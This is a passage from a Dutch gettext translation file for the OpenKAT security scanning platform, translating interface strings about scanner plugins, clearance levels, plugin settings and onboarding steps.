\"Settings\"\nmsgstr \"Instellingen\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Gridview\"\nmsgstr \"Rasterweergave\"\n\n#: katalogus/templates/partials/katalogus_toolbar.html\nmsgid \"Tableview\"\nmsgstr \"Tabelweergave\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Required for\"\nmsgstr \"Vereist voor\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"report types\"\nmsgstr \"rapporttypen\"\n\n#: katalogus/templates/partials/modal_report_types.html\nmsgid \"Report types for \"\nmsgstr \"Rapporttypen voor \"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"No permission to enable/disable plugins\"\nmsgstr \"Geen toestemming om plugins in/uit te schakelen\"\n\n#: katalogus/templates/partials/no_enabling_permission_message.html\nmsgid \"Contact your administrator to request permission.\"\nmsgstr \"Neem contact op met uw beheerder om toestemming te vragen.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"This Boefje will only scan objects with a corresponding clearance level of \"\n\"<strong>L%(scan_level)s</strong> or higher. There is no indemnification for \"\n\"this Boefje to scan an OOI with a lower clearance level than \"\n\"<strong>L%(scan_level)s</strong>. Use the filter to show OOI's with a lower \"\n\"clearance level.\"\nmsgstr \"\"\n\"Dit Boefje scant alleen objecten met een overeenkomstig vrijwaringsniveau \"\n\"van <strong>(%(scan_level)s)</strong> of hoger. Er is geen vrijwaring voor \"\n\"dit Boefje om een OOI met een lager scanlevel te scannen dan \"\n\"<strong>L%(scan_level)s</strong>. Gebruik het filter om OOI’s met een lagere \"\n\"vrijwaringsniveau te tonen.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"Warning scan level:\"\nmsgstr \"Waarschuwing scanlevel:\"\n\n#: katalogus/templates/partials/objects_to_scan.html\nmsgid \"\"\n\"Scanning OOI's with a lower clearance level will result in OpenKAT \"\n\"increasing the clearance level on that OOI, not only for this scan but from \"\n\"now on out, until it manually gets set to something else again. This means \"\n\"that all other enabled Boefjes will use this higher clearance level aswel.\"\nmsgstr \"\"\n\"OOI’s met een lager vrijwaringsniveau scannen, zal resulteren in het \"\n\"verhogen van het vrijwaringsniveau op die OOI, niet alleen voor deze scan, \"\n\"maar van nu af aan, tot het handmatig weer naar iets anders wordt ingesteld. \"\n\"Dit betekent dat alle andere ingeschakelde Boefjes dit hogere \"\n\"vrijwaringsniveau zullen gebruiken.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have any objects that meet the scan level of %(name)s. \"\n\"Add objects with a complying clearance level, or alter the clearance level \"\n\"of existing objects.\"\nmsgstr \"\"\n\"U hebt momenteel geen objecten die voldoen aan het scanlevel van %(name)s. \"\n\"Voeg objecten toe met een voldoende vrijwaringsniveau, of wijzig het \"\n\"vrijwaringsniveau van bestaande objecten.\"\n\n#: katalogus/templates/partials/objects_to_scan.html\n#, python-format\nmsgid \"\"\n\"You currently don't have scannable objects for %(name)s. Add objects to use \"\n\"this Boefje. This Boefje is able to scan objects of the following types:\"\nmsgstr \"\"\n\"U hebt momenteel geen scanbare objecten voor %(name)s. Voeg objecten toe om \"\n\"dit Boefje te gebruiken. Dit Boefje kan objecten scannen van de volgende \"\n\"typen:\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"The form could not be initialized.\"\nmsgstr \"Het formulier kan niet worden opgehaald.\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\nmsgid \"Required settings\"\nmsgstr \"Verplichte instellingen\"\n\n#: katalogus/templates/partials/plugin_settings_required.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Add\"\nmsgstr \"Toevoegen\"\n\n#: katalogus/templates/partials/plugin_tile.html\nmsgid \"Required for:\"\nmsgstr \"Vereist voor:\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Boefje details\"\nmsgstr \"Boefje-details\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html reports/forms.py\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Report types\"\nmsgstr \"Rapporttypes\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"This boefje is required by the following report types.\"\nmsgstr \"Dit Boefje is vereist voor de volgende rapporttypen.\"\n\n#: katalogus/templates/partials/plugin_tile_modal.html\nmsgid \"Go to boefje detail page\"\nmsgstr \"Ga naar detailspagina van Boefje\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Plugins overview:\"\nmsgstr \"Overzicht plug-ins:\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin name\"\nmsgstr \"Plug-innaam\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin type\"\nmsgstr \"Plug-intype\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin description\"\nmsgstr \"Plug-inbeschrijving\"\n\n#: katalogus/templates/partials/plugins.html\n#: reports/templates/partials/report_header.html\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Actions\"\nmsgstr \"Acties\"\n\n#: katalogus/templates/partials/plugins.html\nmsgid \"Detail page\"\nmsgstr \"Detailpagina\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Plugins Navigation\"\nmsgstr \"Plug-insnavigatie\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Boefjes\"\nmsgstr \"Boefjes\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/partials/tab_navigation.html rocky/views/tasks.py\nmsgid \"Normalizers\"\nmsgstr \"Normalizers\"\n\n#: katalogus/templates/partials/plugins_navigation.html\n#: tools/forms/scheduler.py\nmsgid \"All\"\nmsgstr \"Alle\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Container image\"\nmsgstr \"Containerafbeelding\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The container image for this Boefje is:\"\nmsgstr \"De containerafbeelding voor dit Boefje is:\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Variants\"\nmsgstr \"Varianten\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"Boefje variants that use the same container image. For more information \"\n\"about Boefje variants you can read the documentation.\"\nmsgstr \"\"\n\"Boefje-varianten die dezelfde container image gebruiken. Voor meer \"\n\"informatie over Boefje Varianten kun je de documentatie lezen.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Add variant\"\nmsgstr \"Variant toevoegen\"\n\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"confirmation\"\nmsgstr \"bevestiging\"\n\n#: katalogus/templates/plugin_container_image.html\n#, python-format\nmsgid \"Variant %(plugin.name)s created.\"\nmsgstr \"Variant %(plugin.name)s aangemaakt.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The Boefje variant is successfully created and can now be used.\"\nmsgstr \"De Boefje-variant is met succes aangemaakt en kan nu worden gebruikt.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Overview of variants\"\nmsgstr \"Overzicht van varianten\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/plugin_overview_table.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Status\"\nmsgstr \"Status\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Age\"\nmsgstr \"Leeftijd\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan interval\"\nmsgstr \"Scan interval\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Run on\"\nmsgstr \"Draaien op\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"current\"\nmsgstr \"actueel\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\nmsgid \"minutes\"\nmsgstr \"minuten\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Default system scan frequency\"\nmsgstr \"Standaard systeemscanfrequentie\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Boefje ID\"\nmsgstr \"Boefje-ID\"\n\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Creation date\"\nmsgstr \"Aanmaakdatum\"\n\n#: katalogus/templates/plugin_container_image.html tools/forms/boefje.py\nmsgid \"Arguments\"\nmsgstr \"Argumenten\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"The following arguments are used for this Boefje variant:\"\nmsgstr \"Voor deze Boefje-variant zijn de volgende argumenten gebruikt:\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"There are no arguments used for this Boefje variant.\"\nmsgstr \"Er zijn geen argumenten voor deze Boefje-variant.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Edit variant\"\nmsgstr \"Variant bewerken\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"This Boefje has no variants yet.\"\nmsgstr \"Dit Boefje heeft nog geen varianten.\"\n\n#: katalogus/templates/plugin_container_image.html\nmsgid \"\"\n\"You can make a variant and change the arguments and JSON Schema to customize \"\n\"it to fit your needs.\"\nmsgstr \"\"\n\"U kunt een variant maken en de argumenten en het JSON-schema wijzigen om het \"\n\"naar eigen idee aan te passen.\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"Voeg instelling toe\"\nmsgstr[1] \"Voeg instellingen toe\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"Instelling\"\nmsgstr[1] \"Instellingen\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"Voeg instelling toe en activeer boefje\"\nmsgstr[1] \"Voeg instellingen toe en activeer boefje\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"Instellingen verwijderen\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\"Weet u zeker dat u de instellingen voor de plug-in %(plugin_name)s wilt \"\n\"verwijderen?\"\n\n#: katalogus/templates/plugin_settings_list.html\n#, fuzzy\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\"In onderstaande tabel vind u de instellingen voor dit specifieke boefje. \"\n\"Configureer de waarde van de variabele door de instellingen te bewerken.\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"Instellingen configureren\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"Overzicht van instellingen\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"Variabele\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"Sessie is beëindigd, selecteer objecten opnieuw.\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"Vrijwaringsniveau wijzigen\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"Instellingen met succes vanuit {} naar {} gekloond.\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"Kan instellingen voor Boefje {} niet ophalen\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\"Het ophalen van informatie voor plug-in {} is mislukt. Controleer de KAT-\"\n\"alogus-logboeken.\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\"Sommige geselecteerde OOI’s vereisen een hoger vrijwaringsniveau om scans \"\n\"uit te voeren. U bent niet gemachtigd om het vrijwaringsniveau te wijzigen.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"{} ‘{}’ uitgeschakeld.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"{} ‘{}’ ingeschakeld.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\"U hebt uw vrijwaringsniveau niet geaccepteerd. Ga naar uw profielpagina om \"\n\"uw vrijwaringsniveau te accepteren.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\"Uw vrijwaringsniveau is niet ingesteld. Ga naar uw profielpagina om uw \"\n\"vrijwaring te controleren of neem contact op met de beheerder om een \"\n\"vrijwaringsniveau in te stellen.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\"Uw vrijwaringsniveau is L{}. Neem contact op met uw beheerder om een hoger \"\n\"vrijwaringsniveau te krijgen.\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"\"\n\"Om {} in te schakelen heeft u minimaal een vrijwaringsniveau van L{} nodig. \"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"Probeer instellingen toe te voegen aan Boefje zonder schema\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\"Geen wijzigingen aan de instellingen toegevoegd: geen formuliergegevens \"\n\"aanwezig\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"Toegevoegde instellingen voor ‘{}’\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"Instellingen toevoegen mislukt\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"Het inschakelen van {} is mislukt\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"Boefje ‘{}’ ingeschakeld.\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"Instellingen toevoegen\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"Instellingen voor plug-in {} met succes verwijderd.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"Plug-in {} heeft geen instellingen.\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\"Verwijderen van instellingen voor plug-in {} mislukt. Controleer de \"\n\"Katalogus-logboeken voor meer informatie.\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\"Het vrijwaringsniveau bepaalt hoe agressief het object gescand mag worden \"\n\"door plugins. Een hoger vrijwaringsniveau betekent dat agressievere scans \"\n\"zijn toegestaan.\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"toelichting-vrijwarings-niveau\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"Voer een geldige URL in beginnend met ‘http://’ of ‘https://’.\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"Onboarding\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"Welkom bij OpenKAT!\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\"Welkom bij de onboarding van OpenKAT. We zullen u door een aantal stappen \"\n\"leiden om alles in te stellen.\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\"Aan het einde van deze onboarding heeft u uw eerste object toegevoegd, uw \"\n\"eerste DNS-rapport gemaakt en kennisgemaakt met enkele basisbegrippen die \"\n\"binnen OpenKAT worden gebruikt.\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"De volledige documentatie voor OpenKAT is te vinden op:\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"Organisatie-instellingen\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\"Voer de volgende organisatiegegevens in. De organisatienaam kan later in de \"\n\"interface worden gewijzigd. De organisatiecode kan niet worden gewijzigd, \"\n\"omdat deze door de database wordt gebruikt.\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"Rapport\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"De Boefjes zijn aan het scannen\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\"De ingeschakelde Boefjes draaien op de achtergrond om de gegevens voor het \"\n\"DNS-rapport te verzamelen. Dit kan enkele minuten duren.\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\"In de tussentijd kunt u OpenKAT verkennen en kunt u het DNS-rapport bekijken \"\n\"op de pagina Rapporten zodra deze is gegenereerd.\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"Ga verder naar OpenKAT\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"Begin hier\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"Organisatiedetails\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"Indienen\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"Wijzigingen opslaan\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"Doorgaan\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"Vrijwaring opstellen\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"Vrijwaringsniveau op de organisatie is al aanwezig.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"Vrijwaringsniveau gebruiker\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\"Het vrijwaringsniveau bepaalt het maximale scanlevel voor beveiligingsscans \"\n\"en het maximale vrijwaringsniveau dat je kunt toewijzen aan objecten (\"\n\"bijvoorbeeld een URL).\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\"De beheerder kent aan elke gebruiker een maximaal vrijwaringsniveau toe. Dit \"\n\"zorgt ervoor dat alleen vertrouwde gebruikers agressievere scans kunnen \"\n\"starten.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\"Een gebruiker moet een vrijwaringsniveau accepteren voordat hij acties kan \"\n\"uitvoeren in OpenKAT. Hier kunt u het maximale vertrouwde vrijwaringsniveau \"\n\"accepteren, zoals toegewezen door uw beheerder. Op uw \"\n\"gebruikersinstellingenpagina kunt u ervoor kiezen om uw geaccepteerde \"\n\"vrijwaringsniveau te verlagen na het voltooien van de onboarding.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"Wat is mijn vrijwaringsniveau?\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, fuzzy, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\"Helaas kunt u niet verder met de onboarding. </br> Uw beheerder heeft u een \"\n\"vrijwaringsniveau  <strong>L%(tcl)s</strong> toevertrouwd. </br> U heeft \"\n\"minimaal vrijwaringsniveau <strong>L%(dns_report_least_clearance_level)s</\"\n\"strong> nodig om <strong>%(ooi)s</strong> te scannen</br> Neem contact op \"\n\"met uw beheerder om een hoger vrijwaringsniveau te krijgen.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"Onboarding overslaan\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, fuzzy, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\"Uw beheerder heeft u een vrijwaringsniveau <strong>L%(tcl)s</strong> \"\n\"toevertrouwd. </br> Accepteer dit vrijwaringsniveau eerst voordat u verder \"\n\"gaat.\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\"Uw beheerder heeft u <strong>toevertrouwd</strong> met een vrijwaringsniveau \"\n\"van <strong>L%(tcl)s</strong>.\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"Een object toevoegen\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\"OpenKAT gebruikt verschillende soorten objecten, zoals IP-adressen, \"\n\"hostnamen en URL's. In de onboarding voegen we een URL-object toe, zoals \"\n\"onze kwetsbare OpenKAT-website: https://mispo.es.\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"Gerelateerde objecten\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\"De meeste objecten zijn afhankelijk van het bestaan van gerelateerde \"\n\"objecten. Een URL moet bijvoorbeeld verbonden zijn met een netwerk, \"\n\"hostnaam, fqdn (fully qualified domain name) en IP-adres. Waar mogelijk \"\n\"verzamelt OpenKAT automatisch deze gerelateerde objecten en voegt ze toe \"\n\"door scans uit te voeren. Objecten kunnen ook handmatig worden toegevoegd.\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"Object aanmaken\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"Vrijwaringsniveau instellen\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\"Nadat je een nieuw object hebt gemaakt, kun je een vrijwaringsniveau voor \"\n\"dit object instellen. Een vrijwaringsniveau bepaalt hoe agressief het object \"\n\"gescand mag worden. Een hoger vrijwaringsniveau betekent dat agressievere \"\n\"scans zijn toegestaan. vrijwaringsniveaus kunnen later altijd worden \"\n\"aangepast.\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\"Voor de onboarding gebruiken we een toestemmingsniveau van \"\n\"L%(dns_report_least_clearance_level)s, wat betekent dat alleen informatieve \"\n\"scans zijn toegestaan.\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"Vrijwaringsniveau instellen\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"Plugin introductie\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\"OpenKAT gebruikt plug-ins om uw objecten te scannen. Elke plug-in heeft een \"\n\"scanlevel om aan te geven hoe grondig de scan is. Plug-ins kunnen alleen \"\n\"objecten scannen met een vrijwaringsniveau dat gelijk is aan of hoger is dan \"\n\"het scanlevel van de plug-in. Het scanlevel van een plug-in wordt aangegeven \"\n\"door het aantal kattenpootjes.\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\"De plug-in <strong>DNS Zone</strong> heeft een scanlevel van 1, wat betekent \"\n\"dat deze niet-intrusieve scans uitvoert die zoeken naar openbaar beschikbare \"\n\"informatie. De plug-in scant objecten met een vrijwaringsniveau van 1 of \"\n\"hoger.\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid 